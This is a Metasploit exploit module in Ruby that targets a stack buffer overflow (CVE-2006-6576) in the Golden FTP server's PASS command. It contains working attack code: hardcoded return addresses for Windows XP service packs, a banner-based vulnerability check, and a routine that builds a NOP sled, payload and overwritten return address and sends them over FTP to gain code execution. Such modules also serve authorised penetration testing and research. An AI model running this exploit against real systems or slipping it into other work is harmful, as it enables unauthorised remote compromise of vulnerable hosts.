##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Ftp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'GoldenFTP PASS Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits a vulnerability in the Golden FTP service, using the PASS
        command to cause a buffer overflow.  Please note that in order trigger the vulnerable
        code, the victim machine must have the "Show new connections" setting enabled.  By
        default, this option is unchecked.
      },
      'Author'         =>
        [
          'Craig Freyman',  #Initial poc on exploit-db with iglesiasgg
          'bannedit',  #Initial msf module
          'Joff Thyer <jsthyer[at]gmail.com>',  #Improved msf version
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2006-6576'],
          [ 'OSVDB', '35951'],
          [ 'BID', '45957'],
          [ 'EDB', '16036'],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'seh',
        },
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'    => 440,
          'BadChars' => "\x00\x0a\x0d",
        },
      'Platform'       => ['win'],
      'Targets'        =>
        [
          [ 'Windows XP Pro SP3', { 'Ret' => 0x7E45AE4E, } ],     #JMP ESI USER32.dll
          [ 'Windows XP Pro SP2', { 'Ret' => 0x77D4E23B, } ],     #JMP ESI USER32.dll
          [ 'Windows XP Pro SP0/SP1', { 'Ret' => 0x77e8157b, } ]  #JMP ESI kernel32.dll
        ],
      'DisclosureDate' => 'Jan 23 2011'))
  end

  def check
    connect
    disconnect
    vprint_status("FTP Banner: #{banner}".strip)
    if banner =~ /Golden FTP Server ready v(4\.\d{2})/ and $1 == "4.70"
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Safe
    end
  end

  def exploit
    shortjmp = make_nops(3) + "\xeb\x20"
    nopsled = make_nops(1) * 60
    srciplen = Rex::Socket.source_address.length
    padding = make_nops(1) * (533 - (srciplen + nopsled.length + payload.encoded.length))

    sploit = nopsled
    sploit << payload.encoded
    sploit << padding
    sploit << [target.ret].pack('V')

    print_status("Connecting to #{datastore['RHOST']}:#{datastore['RPORT']}")

    connect
    raw_send(shortjmp + "\n")
    send_user(datastore['FTPUSER'])
    send_cmd(['PASS', sploit], false)
    select(nil,nil,nil,2)
    handler
    disconnect
  end
end
